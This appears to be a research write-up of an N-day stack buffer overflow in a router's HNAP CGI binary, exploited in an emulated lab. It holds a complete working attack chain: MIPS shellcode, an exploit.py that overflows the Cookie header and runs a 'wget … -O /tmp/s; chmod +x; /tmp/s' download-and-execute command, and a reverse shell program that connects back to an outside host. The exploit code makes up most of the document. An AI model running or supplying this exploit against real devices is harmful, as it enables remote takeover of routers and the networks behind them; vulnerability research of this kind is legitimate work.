This exploit was developed in EMUX firmware emulation framework where target is build in.
- Vulnerability type: Stack buffer overflow
- Tested firmware version: 1.06
- Exploit mitigations: None
- Executable: /web/cgi-bin/hnap/hnap_service
- Function reported: sub_402280
- Real function: sub_401f5c, strcpy at 0x402230
Tools Link to heading
- Ubuntu 24.04.4 LTS
- qemu-user-static
- gcc-mips-linux-gnu
- binutils-mips-linux-gnu
- python3-pip
- python3-venv
- gdb-multiarch
- EMUX framework (https://github.com/therealsaumil/emux)
- Binary Ninja
- VulnFanatic plugin
- python3
- pwntools
- requests
- static mips tools (https://github.com/CyberDanube/medusa-embedded-toolkit)
- gdbserver
- strace
Research Link to heading
This N-day vulnerability was reported for newer firmware version so we must do research for right vulnerable function. When we search for vulnerable function address 0x402280 in Binary Ninja, we land in the middle of function sub_401f5c.
Deeper investigation reveals many vulnerable strcpy functions that move data from environment variables to buffer. In this case we are interested especially in COOKIE variable.
Now we have information about problematic function but we need also PoC script that leads to that function and crashes the program. Using Binary Ninja we can check which functions call vulnerable function and only calling function is main. When we investigate main, we notice that program needs couple of more environment variables.
We also need dummy soap body that program reads from stdin. Otherwise program crashes. Usually httpd program at the background handles web requests and stores variables but in this case when we are testing only vulnerable cgi binary, we need to export all environment variables manually.
#!/bin/sh
export REQUEST_METHOD="POST"
export CONTENT_LENGTH="200"
export SOAP_ACTION="http://purenetworks.com/HNAP1/GetDeviceSettings"
export COOKIE="uid=Admin;$1"
export HNAP_AUTH="validhash 12345678"
# Execute the binary
/web/cgi-bin/hnap/hnap_service < /tmp/soap.xml
soap.xml
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetDeviceSettings xmlns="http://purenetworks.com/HNAP1/"></GetDeviceSettings>
</soap:Body>
</soap:Envelope>
Then we can run our script inside gdbserver in target system and debug it using gdb-multiarch
Inside EMUX target:
./gdbserver_mipsbe :1234 ./wrapper.sh <A*200 times>
Inside EMUX docker:
gdb-multiarch -ex "set architecture mips" -ex "set mips abi o32" -ex "set follow-fork-mode child" -ex "set detach-on-fork off" -ex "catch exec" -ex "run" -ex "target remote 192.168.100.2:1234"
Exploit Link to heading
Now we have working PoC that crashes and controls ra (return address) register. Next we check what we can do with this buffer overflow. GDB’s info proc mappings command after crash reveals that program has writable and executable stack so we should have easy time to write an exploit.
(gdb) info proc mappings
process 22688
Mapped address spaces:
Start Addr End Addr Size Offset Perms objfile
0x400000 0x418000 0x18000 0x0 r-xp /web/cgi-bin/hnap/hnap_service
0x427000 0x428000 0x1000 0x17000 rw-p /web/cgi-bin/hnap/hnap_service
0x428000 0x42a000 0x2000 0x0 rwxp [heap]
0x2aaa8000 0x2aaad000 0x5000 0x0 r-xp /lib/ld-uClibc-0.9.30.3.so
0x2aaad000 0x2aaae000 0x1000 0x0 rw-p
0x2aaaf000 0x2aab0000 0x1000 0x0 rw-p
0x2aabc000 0x2aabd000 0x1000 0x4000 r--p /lib/ld-uClibc-0.9.30.3.so
0x2aabd000 0x2aabe000 0x1000 0x5000 rw-p /lib/ld-uClibc-0.9.30.3.so
0x2aabe000 0x2aac1000 0x3000 0x0 r-xp /usr/lib/libUserConfig.so
0x2aac1000 0x2aad0000 0xf000 0x0 ---p
0x2aad0000 0x2aad9000 0x9000 0x2000 rw-p /usr/lib/libUserConfig.so
0x2aad9000 0x2aada000 0x1000 0x0 r-xp /usr/lib/libSemafor.so
0x2aada000 0x2aae9000 0xf000 0x0 ---p
0x2aae9000 0x2aaea000 0x1000 0x0 rw-p /usr/lib/libSemafor.so
0x2aaea000 0x2aaeb000 0x1000 0x0 r-xp /usr/lib/libShareInfo.so
0x2aaeb000 0x2aafa000 0xf000 0x0 ---p
0x2aafa000 0x2aafb000 0x1000 0x0 rw-p /usr/lib/libShareInfo.so
0x2aafb000 0x2aafd000 0x2000 0x0 r-xp /usr/lib/libMsgctrl.so
0x2aafd000 0x2ab0c000 0xf000 0x0 ---p
0x2ab0c000 0x2ab0d000 0x1000 0x1000 rw-p /usr/lib/libMsgctrl.so
0x2ab0d000 0x2ab1d000 0x10000 0x0 r-xp /usr/lib/libweb.so.0
0x2ab1d000 0x2ab1e000 0x1000 0x10000 rw-p /usr/lib/libweb.so.0
0x2ab1e000 0x2ab23000 0x5000 0x0 r-xp /usr/lib/libcfg.so
0x2ab23000 0x2ab32000 0xf000 0x0 ---p
0x2ab32000 0x2ab33000 0x1000 0x4000 rw-p /usr/lib/libcfg.so
0x2ab33000 0x2ab3c000 0x9000 0x0 r-xp /usr/lib/libFVsystem.so
0x2ab3c000 0x2ab4c000 0x10000 0x0 ---p
0x2ab4c000 0x2ab4f000 0x3000 0x9000 rw-p /usr/lib/libFVsystem.so
0x2ab4f000 0x2ab53000 0x4000 0x0 r-xp /usr/lib/libFVnetwork.so
0x2ab53000 0x2ab62000 0xf000 0x0 ---p
0x2ab62000 0x2ab63000 0x1000 0x3000 rw-p /usr/lib/libFVnetwork.so
0x2ab63000 0x2ab67000 0x4000 0x0 r-xp /usr/lib/libnet.so.0
0x2ab67000 0x2ab77000 0x10000 0x0 ---p
0x2ab77000 0x2ab78000 0x1000 0x4000 rw-p /usr/lib/libnet.so.0
0x2ab78000 0x2ab7c000 0x4000 0x0 r-xp /usr/lib/libutl.so.0
0x2ab7c000 0x2ab8b000 0xf000 0x0 ---p
0x2ab8b000 0x2ab8c000 0x1000 0x3000 rw-p /usr/lib/libutl.so.0
0x2ab8c000 0x2ab8d000 0x1000 0x0 r-xp /usr/lib/libsitelist.so
0x2ab8d000 0x2ab9c000 0xf000 0x0 ---p
0x2ab9c000 0x2ab9d000 0x1000 0x0 rw-p /usr/lib/libsitelist.so
0x2ab9d000 0x2ab9f000 0x2000 0x0 r-xp /usr/lib/librtkmib.so
0x2ab9f000 0x2abaf000 0x10000 0x0 ---p
0x2abaf000 0x2abb0000 0x1000 0x2000 rw-p /usr/lib/librtkmib.so
0x2abb0000 0x2abba000 0xa000 0x0 r-xp /usr/lib/libixml.so.2.0.4
0x2abba000 0x2abca000 0x10000 0x0 ---p
0x2abca000 0x2abcb000 0x1000 0xa000 rw-p /usr/lib/libixml.so.2.0.4
0x2abcb000 0x2abd8000 0xd000 0x0 r-xp /lib/libpthread-0.9.30.3.so
0x2abd8000 0x2abe7000 0xf000 0x0 ---p
0x2abe7000 0x2abe8000 0x1000 0xc000 r--p /lib/libpthread-0.9.30.3.so
0x2abe8000 0x2abe9000 0x1000 0xd000 rw-p /lib/libpthread-0.9.30.3.so
0x2abe9000 0x2abef000 0x6000 0x0 rw-p
0x2abef000 0x2ac4f000 0x60000 0x0 r-xp /lib/libuClibc-0.9.30.3.so
0x2ac4f000 0x2ac5e000 0xf000 0x0 ---p
0x2ac5e000 0x2ac5f000 0x1000 0x5f000 r--p /lib/libuClibc-0.9.30.3.so
0x2ac5f000 0x2ac60000 0x1000 0x60000 rw-p /lib/libuClibc-0.9.30.3.so
0x2ac60000 0x2ac65000 0x5000 0x0 rw-p
0x2ac65000 0x2ac77000 0x12000 0x0 r-xp /lib/libgcc_s.so.1
0x2ac77000 0x2ac87000 0x10000 0x0 ---p
0x2ac87000 0x2ac88000 0x1000 0x12000 rw-p /lib/libgcc_s.so.1
0x2ac88000 0x2ac8b000 0x3000 0x0 r-xp /lib/libcrypt-0.9.30.3.so
0x2ac8b000 0x2ac9a000 0xf000 0x0 ---p
0x2ac9a000 0x2ac9b000 0x1000 0x2000 rw-p /lib/libcrypt-0.9.30.3.so
0x2ac9b000 0x2acac000 0x11000 0x0 rw-p
0x7ffe3000 0x7fff8000 0x15000 0x0 rwxp [stack] <--- READ,WRITE,EXEC
Exploitation plan:
- find offset (pwntools’ cyclic tool)
- write shellcode (wget + chmod + exec)
- check right return address
- write payload to COOKIE
- profit?
Scripts Link to heading
find_mem.py
import gdb
import codecs
class FindMem(gdb.Command):
"""
Search for a byte sequence across a large memory range, handling read errors.
Usage: find_mem <start_addr> <end_addr> <pattern>
Example: find_mem 0x7ffe3000 0x7fff8000 "wget"
"""
def __init__(self):
super(FindMem, self).__init__("find_mem", gdb.COMMAND_DATA)
def invoke(self, arg, from_tty):
args = gdb.string_to_argv(arg)
if len(args) < 3:
print("Usage: find_mem <start_addr> <end_addr> <pattern>")
return
try:
start_addr = int(gdb.parse_and_eval(args[0]))
end_addr = int(gdb.parse_and_eval(args[1]))
raw_pattern = args[2]
# Convert hex escape strings into actual bytes
pattern = codecs.decode(raw_pattern, 'unicode_escape').encode('latin-1')
inf = gdb.selected_inferior()
total_size = end_addr - start_addr
chunk_size = 4096 # Read page-by-page to avoid memory errors
hits = 0
print(f"[*] Searching for {pattern} ({len(pattern)} bytes)...")
for addr in range(start_addr, end_addr, chunk_size):
# Calculate remaining bytes to read in this chunk
current_read_size = min(chunk_size + len(pattern), end_addr - addr)
try:
mem = inf.read_memory(addr, current_read_size).tobytes()
offset = mem.find(pattern)
while offset != -1:
# Ensure we don't report a hit that bleeds past the end_addr
hit_addr = addr + offset
if hit_addr + len(pattern) <= end_addr:
print(f"[+] Found at: {hex(hit_addr)}")
hits += 1
offset = mem.find(pattern, offset + 1)
except gdb.MemoryError:
# Skip unmapped or protected pages
continue
print(f"[*] Search finished. Total hits: {hits}")
except Exception as e:
print(f"[-] Error: {e}")
FindMem()
shellcode_generator.py
from pwn import asm, context, enhex
context.arch = "mips"
context.os = "linux"
context.endian = "big"
shellcode = """
/* --- 1. Get Zero and Base Pointer --- */
slti $a2, $zero, -1 /* $a2 = 0 (envp) */
addiu $t8, $sp, 0x1141 /* Base $t8 = $sp + 0x1141 */
/* --- 2. Store "/bin/sh" string (at sp+32) --- */
/* (sp + 4417) - 4385 = sp + 32 */
lui $t1, 0x2f62
ori $t1, $t1, 0x696e /* "/bin" */
sw $t1, -4385($t8)
lui $t1, 0x2f73
ori $t1, $t1, 0x682e /* "/sh." */
sw $t1, -4381($t8)
sb $a2, -4378($t8) /* Terminate -> "/bin/sh\0"*/
/* --- 3. Store "-c" string (at sp+40) --- */
li $t1, 0x11ad
addiu $t1, $t1, 0x1bb6 /* $t1 = 0x2d63 ("-c")*/
sh $t1, -4377($t8)
sb $a2, -4375($t8) /* Terminate -> "-c\0" */
/* --- 4. Build Pointer Array (at sp+48) --- */
addiu $a0, $t8, -4385 /* $a0 = ptr to "/bin/sh" */
sw $a0, -4369($t8) /* argv[0] */
addiu $t1, $t8, -4377 /* $t1 = ptr to "-c" */
sw $t1, -4365($t8) /* argv[1]*/
/* Calculate pointer to wget command (sp + 216) */
/* (sp + 4417) + -4573 = ?. Offset: 0x44ab (No nulls!) */
addiu $t1, $t8, -4573
/*sb $a2, 17675($t8) dummy */
sw $t1, -4361($t8) /* argv[2] */
sw $a2, -4357($t8) /* argv[3] = NULL */
/* --- 5. Final Syscall 4011 --- */
addiu $a1, $t8, -4369 /* $a1 = argv pointer */
li $v0, 0x112c
addiu $v0, $v0, -385 /* $v0 = 4011 */
syscall 0x42424
"""
raw_shellcode = asm(shellcode)
print(enhex(raw_shellcode))
reverse_shell.c
/*
Compile with: mips-linux-gnueabi-gcc -static reverse_shell.c -o reverse_shell
*/
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int main() {
int sockfd = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in addr = {0};
addr.sin_family = AF_INET;
addr.sin_port = htons(4445); // Port for the actual shell
addr.sin_addr.s_addr = inet_addr("192.168.100.1"); // Your IP
if (connect(sockfd, (struct sockaddr *)&addr, sizeof(addr)) < 0) return 1;
// Direct redirection: Socket -> Stdin, Stdout, Stderr
dup2(sockfd, 0);
dup2(sockfd, 1);
dup2(sockfd, 2);
char *argv[] = {"/bin/sh", NULL};
execve("/bin/sh", argv, NULL);
return 0;
}
exploit.py
import struct
import requests
target_ip = "192.168.100.2"
url = f"http://{target_ip}/HNAP1/"
cmd = b"wget http://192.168.100.1/s -O /tmp/s;chmod +x /tmp/s;/tmp/s\x00"
shellcode = b"\x28\x06\xff\xff\x27\xb8\x11\x41\x3c\x09\x2f\x62\x35\x29\x69\x6e\xaf\x09\xee\xdf\x3c\x09\x2f\x73\x35\x29\x68\x2e\xaf\x09\xee\xe3\xa3\x06\xee\xe6\x24\x09\x11\xad\x25\x29\x1b\xb6\xa7\x09\xee\xe7\xa3\x06\xee\xe9\x27\x04\xee\xdf\xaf\x04\xee\xef\x27\x09\xee\xe7\xaf\x09\xee\xf3\x27\x09\xee\x23\xaf\x09\xee\xf7\xaf\x06\xee\xfb\x27\x05\xee\xef\x24\x02\x11\x2c\x24\x42\xfe\x7f\x01\x09\x09\x0c"
padding = b"A" * 162
ra = struct.pack(">I", 0x7FFF280C)
payload_1 = padding + ra
payload_2 = shellcode + cmd
headers = {
"SOAPAction": payload_2,
"Cookie": b"uid=Admin;" + payload_1, # Triggering the strcpy at 004021b8
"HNAP_AUTH": "valid_hash 12345678", # Must exist to pass the 'if' at 004020f8
}
soap_body = """
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetDeviceSettings xmlns="http://purenetworks.com/HNAP1/"></GetDeviceSettings>
</soap:Body>
</soap:Envelope>
"""
try:
requests.post(url, data=soap_body, headers=headers, timeout=5)
except requests.exceptions.ConnectionError:
print("Target crashed! The overflow was successful.")
Helper scripts Link to heading
shellcode_convert.py
import sys
def to_escaped_hex(hex_string):
# Ensure any stray spaces are gone
hex_string = hex_string.replace(" ", "")
# Prefix every two characters with \x
escaped = "".join(
[f"\\x{hex_string[i : i + 2]}" for i in range(0, len(hex_string), 2)]
)
return escaped[:-3]
if __name__ == "__main__":
if not sys.stdin.isatty():
input_data = sys.stdin.read()
print(to_escaped_hex(input_data))
else:
print("Usage: echo <hex> | python3 convert.py")